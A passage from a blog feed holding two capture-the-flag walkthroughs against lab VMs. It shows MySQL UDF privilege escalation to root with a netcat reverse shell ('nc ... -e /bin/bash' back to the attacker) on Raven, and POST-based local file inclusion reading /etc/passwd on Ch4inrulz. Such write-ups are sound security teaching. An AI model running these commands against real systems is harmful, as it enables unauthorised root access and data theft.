&lt;p&gt;I’ve cut it down for brevity, but from the list, a couple of processes stuck out. The first was that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mysqld&lt;/code&gt; was running as the root user, and there was a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sendmail&lt;/code&gt; process running as well.&lt;/p&gt;

&lt;p&gt;MySQL was interesting, because if it was running as root, then that meant I might be able to read contents from a file owned by root into the the database, and write contents from a table into a file on the filesystem that only root could write to. But before I could do that, I needed root login credentials to MySQL.&lt;/p&gt;

&lt;p&gt;Fortunately, Wordpress installations require the use of MySQL, which meant it had to store the credentials in a file somewhere. And that file is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wp-config.php&lt;/code&gt;. Web documents are typically stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/www/html&lt;/code&gt; on Linux, so I navigated to there and found a the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wordpress/wp-config.php&lt;/code&gt; file there. Looking at its contents, I found the MySQL root credentials (cut for brevity):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.
.
.
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define(&apos;DB_NAME&apos;, &apos;wordpress&apos;);

/** MySQL database username */
define(&apos;DB_USER&apos;, &apos;root&apos;);

/** MySQL database password */
define(&apos;DB_PASSWORD&apos;, &apos;R@v3nSecurity&apos;);

/** MySQL hostname */
define(&apos;DB_HOST&apos;, &apos;localhost&apos;);
.
.
.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I tested to make sure it worked, and sure enough, it did:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;michael@Raven:~$ mysql -uroot -p&apos;R@v3nSecurity&apos;
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 64
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type &apos;help;&apos; or &apos;\h&apos; for help. Type &apos;\c&apos; to clear the current input statement.

mysql&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So how to exploit this? Well there’s a thing called User Defined Functions (UDF) in MySQL. The short of it is we need to somehow write a shared library containing the functions we want to execute within MySQL in MySQL’s plugin directory. The plugin directory is root writable only and is in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/lib/mysql/plugin/&lt;/code&gt;. So the idea is to compile this shared library, read it into a table in MySQL, then dump the contents of that table into a file in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/lib/mysql/plugin/&lt;/code&gt;. This is possible because we have root credentials to the database, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mysqld&lt;/code&gt; is running as root.&lt;/p&gt;

&lt;p&gt;Kali already contains a large number of exploits, so we can just use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;searchsploit&lt;/code&gt; to search for UDF:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# searchsploit mysql udf
---------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                    |  Path
                                                                                                                                  | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1)                                                            | exploits/linux/local/1181.c
MySQL 4/5/6 - UDF for Command Execution                                                                                           | exploits/linux/local/7856.txt
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)                                                           | exploits/linux/local/1518.c
---------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I used the third one: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exploits/linux/local/1518.c&lt;/code&gt;. I copied this over to my current working directory and the instructions on how to use it are described in the file (again, cut for brevity):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# cat 1518.c
.
.
.
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf2.c
 * $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql&amp;gt; use mysql;
 * mysql&amp;gt; create table foo(line blob);
 * mysql&amp;gt; insert into foo values(load_file(&apos;/home/raptor/raptor_udf2.so&apos;));
 * mysql&amp;gt; select * from foo into dumpfile &apos;/usr/lib/raptor_udf2.so&apos;;
 * mysql&amp;gt; create function do_system returns integer soname &apos;raptor_udf2.so&apos;;
 * mysql&amp;gt; select * from mysql.func;
 * +-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
 * mysql&amp;gt; select do_system(&apos;id &amp;gt; /tmp/out; chown raptor.raptor /tmp/out&apos;);
 * mysql&amp;gt; \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
.
.
.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Seems easy enough. I compiled the shared library in my Kali instance:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# cp /usr/share/exploitdb/exploits/linux/local/1518.c .
root@kali:~# gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once that was done, I copied it over to the target’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; directory via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scp&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# scp 1518.so michael@raven.local:/tmp
michael@raven.local&apos;s password:
bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
1518.so
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can ignore the warning. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1518.so&lt;/code&gt; file should now be in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; on the target. We can verify this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;michael@Raven:~$ ls -l /tmp/
total 20
-rwxr-xr-x 1 michael michael 19136 Nov  9 16:18 1518.so
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, let’s see if we can utilize this UDF exploit technique. Log into MySQL as root and run the following commands as I did:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mysql&amp;gt; create table foo(line blob);
Query OK, 0 rows affected (0.01 sec)

mysql&amp;gt; insert into foo values(load_file(&apos;/tmp/1518.so&apos;));
Query OK, 1 row affected (0.01 sec)

mysql&amp;gt; select * from foo into dumpfile &apos;/usr/lib/mysql/plugin/1518.so&apos;;
Query OK, 1 row affected (0.01 sec)

mysql&amp;gt; create function do_system returns integer soname &apos;1518.so&apos;;
Query OK, 0 rows affected (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Quick explanation of what’s happening here. The first line creates a table that takes a blob (Binary Large Object). The reason we use a blob is because we’re going to be copying the contents of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/1518.so&lt;/code&gt; into this table and that shared library is a binary. That’s exacly what the second line does with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;load_file&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;The third line takes the contents of that table and dumps it into a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/lib/mysql/plugin/1518.so&lt;/code&gt;. This is basically a roundabout way to write files to root-writable only locations. So technically you could use this technique to read the contents of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/shadow&lt;/code&gt;, edit the hash for the root account with one that you have the password to, and dump the contents of that table to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/shadow&lt;/code&gt; thereby overwriting it. However, I’d prefer not to modify any important files, so let’s  keep going.&lt;/p&gt;

&lt;p&gt;The fourth line creates a function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_system()&lt;/code&gt; that will allow us to run any commands as the root user. Let’s see it in action. The first command I’ll try is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; just to make sure that we’re running as root. It’ll save the output into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/out&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mysql&amp;gt; select do_system(&apos;id &amp;gt; /tmp/out; chmod 644 /tmp/out&apos;);
+------------------------------------------------+
| do_system(&apos;id &amp;gt; /tmp/out; chmod 644 /tmp/out&apos;) |
+------------------------------------------------+
|                                              0 |
+------------------------------------------------+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By default the file will be readable only by root, so I chain the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod&lt;/code&gt; command at the end of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; to make the file world-readable.&lt;/p&gt;

&lt;p&gt;We can login to another SSH session as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;michael&lt;/code&gt; and read the contens of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/out&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;michael@Raven:~$ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Excellent, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; command reported that it’s running as the root user. So what can we do? Pretty much anything at this point since we have root command execution. However let’s complete the challenge by getting a shell. I’m going to obtain a reverse shell as the root user by using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc&lt;/code&gt; command. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc&lt;/code&gt; or netcat is a sort of swiss army network tool. One feature that some versions of netcat have is to connect back to a server and shovel a shell to the listening server. In this case I’ll use it to connect back to my machine with a root shell.&lt;/p&gt;

&lt;p&gt;First, I need to setup my machine to listen to a specific port for netcat to connect to. In this case, I’ll use port 443. So on my Kali instance:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nc -lvp 443
listening on [any] 443 ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, back on the target’s MySQL instance, I use netcat and specify the IP address of my machine, the port to connect to, and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-e&lt;/code&gt; flag to specify what command to execute:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mysql&amp;gt; select do_system(&apos;nc 192.168.206.132 443 -e /bin/bash&apos;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Upon executing this MySQL should just “freeze”. That’s because it’s now established a connection to my Kali instance and we can see that from our netcat listener:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nc -lvp 443
listening on [any] 443 ...
connect to [192.168.206.132] from raven.local [192.168.206.131] 46850
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The netcat listener has reported that the target has connected to it. Although there is no shell prompt, we can actually start typing commands:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nc -lvp 443
listening on [any] 443 ...
connect to [192.168.206.132] from raven.local [192.168.206.131] 46850
id
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see that we’re now the root user. To verify we’re actually root on the target, we can pull up it’s IP address and the contents of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/root&lt;/code&gt; directory:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:0c:29:fe:2e:e8
          inet addr:192.168.206.131  Bcast:192.168.206.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fefe:2ee8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:149756 errors:0 dropped:0 overruns:0 frame:0
          TX packets:153237 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:11526665 (10.9 MiB)  TX bytes:29539647 (28.1 MiB)

ls -l /root/
total 4
-rw-r--r-- 1 root root 442 Aug 13 12:22 flag4.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag4.txt&lt;/code&gt; which is supposed to be the last flag on the target. Might as well read it to finish the challenge:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cat /root/flag4.txt
______

| ___ \

| |_/ /__ ___   _____ _ __

|    // _` \ \ / / _ \ &apos;_ \

| |\ \ (_| |\ V /  __/ | | |

\_| \_\__,_| \_/ \___|_| |_|


flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Awesome, mission accomplished! Hopefully that all made sense and was relatively easy to follow. The point was to show the thought process of hacking into a machine by using enumeration, triaging the findings, and trial and error to see what exploits or techniques worked, and what didn’t.&lt;/p&gt;

&lt;p&gt;Now there are supposed to be a couple of ways to solve this challenge. If you’re interested, see if you can figure out the other way(s), and maybe even find the other flags.&lt;/p&gt;
</description>
        <pubDate>Thu, 08 Nov 2018 15:42:21 +0000</pubDate>
        <link>http://blog.techorganic.com/2018/11/08/raven-hacking-challenge/</link>
        <guid isPermaLink="true">http://blog.techorganic.com/2018/11/08/raven-hacking-challenge/</guid>
      </item>
    
      <item>
        <title>Ch4inrulz hacking challenge</title>
        <description>&lt;p&gt;I had some extra free time this weekend so I picked a random boot2root from VulnHub. The lucky challenger was &lt;a href=&quot;https://www.vulnhub.com/entry/ch4inrulz-101,247/&quot;&gt;ch4inrulz&lt;/a&gt;, a boot2root made for Jordan’s Top Hacker 2018 CTF. The difficulty level is rated as intermediate. Perfect, let’s-a-go as Mario’s are wont to say.&lt;/p&gt;

&lt;p&gt;Enumeration time. As always I start with a full-on TCP portscan to see what shows up.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.3.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 172.16.27.143
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
|   2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
|_  256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp   open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: FRANK&apos;s Website | Under development
8011/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn&apos;t have a title (text/html).
MAC Address: 00:0C:29:F7:4D:66 (VMware)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;FTP was open, but it turned out to be a dead end. Port 80 and 8011 were bit more promising. Both were running Apache, so I fired up Nikto, but nothing of interest showed up. I decided to do a directory and file scan to see if anything interesting turned up. I’ve gotten quite fond of &lt;a href=&quot;https://github.com/OJ/gobuster&quot;&gt;gobuster&lt;/a&gt; (gr33tz &lt;a href=&quot;https://twitter.com/TheColonial&quot;&gt;OJ&lt;/a&gt;!) for this sort of thing now.&lt;/p&gt;

&lt;p&gt;After waiting several minutes, I had results from both scans. Here’s port 80:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# gobuster -u http://172.16.27.142/ -w /opt/SecLists/Discovery/Web-Content/common.txt -x html,php -s 200,301,401,403

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://172.16.27.142/
[+] Threads      : 10
[+] Wordlist     : /opt/SecLists/Discovery/Web-Content/common.txt
[+] Status codes : 200,301,401,403
[+] Extensions   : .html,.php
=====================================================
/.hta (Status: 403)
/.hta.html (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.hta.php (Status: 403)
/.htaccess.html (Status: 403)
/.htpasswd.html (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd.php (Status: 403)
/LICENSE (Status: 200)
/cgi-bin/ (Status: 403)
/cgi-bin/.html (Status: 403)
/css (Status: 301)
/development (Status: 401)
/img (Status: 301)
/index (Status: 200)
/index.html (Status: 200)
/index.html (Status: 200)
/js (Status: 301)
/robots (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
/vendor (Status: 301)
=====================================================
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Great, some good results here. The development directory looked promising. Navigating to it resulted in a Basic-Authentication login prompt. I didn’t have anything I could use at this point, so I just made a not of this. Otherwise, the website itself was relatively just about some guy named Frank. It’s a username, so I kept note of it as well for later bruteforcing; should it come to that.&lt;/p&gt;

&lt;p&gt;And now for port 8011:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# gobuster -u http://172.16.27.142:8011/ -w /opt/SecLists/Discovery/Web-Content/common.txt -x html,php -s 200,301,401,403

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://172.16.27.142:8011/
[+] Threads      : 10
[+] Wordlist     : /opt/SecLists/Discovery/Web-Content/common.txt
[+] Status codes : 200,301,401,403
[+] Extensions   : .html,.php
=====================================================
/.hta (Status: 403)
/.hta.html (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.html (Status: 403)
/.htaccess.html (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd.php (Status: 403)
/api (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/server-status (Status: 403)
=====================================================
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The api directory was another promising result. Going to this revealed that Frank had some API scripts setup to communicate with the server:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http http://172.16.27.142:8011/api/
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 185
Content-Type: text/html
Date: Sun, 19 Aug 2018 20:38:09 GMT
ETag: &quot;100541-15f-569cdcf0d24a9&quot;
Keep-Alive: timeout=5, max=100
Last-Modified: Sat, 14 Apr 2018 12:05:46 GMT
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding

&amp;lt;title&amp;gt;FRANK&apos;s API | Under development&amp;lt;/title&amp;gt;

&amp;lt;center&amp;gt;&amp;lt;h2&amp;gt;This API will be used to communicate with Frank&apos;s server&amp;lt;/h2&amp;gt;&amp;lt;/center&amp;gt;
&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;but it&apos;s still under development&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;
&amp;lt;center&amp;gt;&amp;lt;p&amp;gt;* web_api.php&amp;lt;/p&amp;gt;&amp;lt;/center&amp;gt;
&amp;lt;center&amp;gt;&amp;lt;p&amp;gt;* records_api.php&amp;lt;/p&amp;gt;&amp;lt;/center&amp;gt;
&amp;lt;center&amp;gt;&amp;lt;p&amp;gt;* files_api.php&amp;lt;/p&amp;gt;&amp;lt;/center&amp;gt;
&amp;lt;center&amp;gt;&amp;lt;p&amp;gt;* database_api.php&amp;lt;/p&amp;gt;&amp;lt;/center&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Out of all these API PHP scripts, only files_api.php seemed to exist:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http http://172.16.27.142:8011/api/files_api.php
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 163
Content-Type: text/html
Date: Sun, 19 Aug 2018 20:38:47 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.10-1ubuntu3.26

&amp;lt;head&amp;gt;
  &amp;lt;title&amp;gt;franks website | simple website browser API&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;p&amp;gt;No parameter called file passed to me&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;* Note : this API don&apos;t use json , so send the file name in raw format&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You may be wondering why I’m not just using screenshots of the browser. The truth is I’m lazy. Alright, so file_api.php expects a parameter file that points to a file on the local filesystem. So this screamed local file inclusion. Giving it a go was a fail though:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http http://172.16.27.142:8011/api/files_api.php?file=/etc/passwd
HTTP/1.0 500 Internal Server Error
Connection: close
Content-Encoding: gzip
Content-Length: 158
Content-Type: text/html
Date: Sun, 19 Aug 2018 20:41:57 GMT
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
X-Pad: avoid browser bug
X-Powered-By: PHP/5.3.10-1ubuntu3.26

&amp;lt;head&amp;gt;
  &amp;lt;title&amp;gt;franks website | simple website browser API&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;b&amp;gt;********* HACKER DETECTED *********&amp;lt;/b&amp;gt;&amp;lt;p&amp;gt;YOUR IP IS : 172.16.27.143&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;WRONG INPUT !!&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What about a POST request though?&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http --form POST  http://172.16.27.142:8011/api/files_api.php file=/etc/passwd
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 481
Content-Type: text/html
Date: Sun, 19 Aug 2018 20:43:03 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.10-1ubuntu3.26

&amp;lt;head&amp;gt;
  &amp;lt;title&amp;gt;franks website | simple website browser API&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
frank:x:1000:1000:frank,,,:/home/frank:/bin/bash
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:111:ftp daemon,,,:/srv/ftp:/bin/false
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hello! So there’s definitely a local file inclusion vulnerability. So what to look for? I wanted to know what was up with that development page that was protected with Basic-Authentication. Usually that means there’s a .htaccess in there, so I pulled that down:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http --form POST  http://172.16.27.142:8011/api/files_api.php file=/var/www/development/.htaccess
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 187
Content-Type: text/html
Date: Sun, 19 Aug 2018 22:36:57 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.10-1ubuntu3.26

&amp;lt;head&amp;gt;
  &amp;lt;title&amp;gt;franks website | simple website browser API&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

AuthUserFile /etc/.htpasswd
AuthName &quot;Frank Development Area&quot;
AuthType Basic
AuthGroupFile /dev/null

&amp;lt;Limit GET POST&amp;gt;

require valid-user

&amp;lt;/Limit&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

